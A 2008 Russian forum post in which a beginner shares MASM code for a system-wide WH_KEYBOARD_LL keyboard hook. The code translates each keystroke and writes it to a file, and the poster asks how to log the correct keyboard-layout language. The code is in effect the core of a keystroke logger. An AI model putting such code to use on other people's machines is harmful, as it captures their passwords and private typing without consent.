Определение нажатой клавиши через WH_KEYBOARD_LL

Тема в разделе "WASM.BEGINNERS", создана пользователем vg, 4 июн 2008.

  1. vg

    vg New Member

    Публикаций:
    0
    Регистрация:
    16 апр 2007
    Сообщения:
    475
    Фильтром WH_KEYBOARD_LL отлавливаю нажатие клавиш.
    Отловленную информацию пропускаю через следующую функцию
    Код (Text):
    1. KeyBoardProc proc nCode:DWORD,wParam:DWORD,lParam:DWORD
    2.     LOCAL   keystate[256]:BYTE
    3.     LOCAL   charbuf[32]:BYTE
    4.  
    5.     lea edi,keystate
    6.     mov     ecx,64
    7.     xor eax,eax
    8.     rep stosd
    9.  
    10.     mov eax,wParam
    11.     cmp eax,WM_KEYUP
    12.     je  next_hook
    13.     cmp eax, WM_SYSKEYUP
    14.     je  next_hook
    15.  
    16.     mov esi,lParam
    17.     lodsd
    18.     cmp al,VK_LSHIFT
    19.     je  next_hook
    20.     cmp al,VK_RSHIFT
    21.     je  next_hook
    22.     cmp al,VK_CAPITAL
    23.     je  next_hook
    24.     cmp al,VK_ESCAPE         
    25.     je  get_name_of_key
    26.     cmp al,VK_BACK
    27.     je  get_name_of_key
    28.     cmp al,VK_TAB            
    29.     je  get_name_of_key
    30.  
    31.     lea edi,charbuf
    32.     mov     ecx,8
    33.     xor eax,eax
    34.     rep stosd
    35.  
    36.     lea ebx,keystate
    37.     push    ebx
    38.     call    GetKeyboardState
    39.  
    40.     push    VK_LSHIFT
    41.     call    GetKeyState
    42.     xchg    esi,eax
    43.    
    44.     push    VK_RSHIFT
    45.     call    GetKeyState
    46.     or  eax,esi
    47.    
    48.     mov byte ptr [ebx + 16],al
    49.    
    50.     push    VK_CAPITAL
    51.     call    GetKeyState
    52.     mov byte ptr [ebx + 20],al
    53.  
    54.     mov esi,lParam
    55.     lea edi,charbuf
    56.     push    0
    57.     push    edi
    58.     push    ebx
    59.     lodsd
    60.     xchg    eax,edx
    61.  
    62.     lodsd
    63.     push    eax
    64.     push    edx
    65.     call    ToAscii
    66.     test    eax,eax
    67.     jnz write_to_file
    68. get_name_of_key:
    69.     mov esi,lParam
    70.     lodsd
    71.     lodsd
    72.     shl eax,16
    73.     xchg    eax,ecx
    74.     lodsd
    75.     shl eax,24
    76.     or  ecx,eax
    77.  
    78.     push    32
    79.     lea edi,charbuf
    80.     push    edi
    81.     push    ecx
    82.     call    GetKeyNameText
    83. write_to_file:
    84.       push 0
    85.       push offset num
    86.       push 1
    87.       push edi
    88.       push hfile
    89.       call WriteFile
    90. next_hook:
    91.     push lParam
    92.     push wParam
    93.     push nCode
    94.     push hhook
    95.     call CallNextHookEx
    96.     ret
    97. KeyBoardProc endp
    Проблема в том, что в файл записываются только русские значения нажатых клавиш вне зависимости от того какой язык выбран в данный момент, английский или русский.
    Как правильно, определить какая клавиша была нажата, включая язык?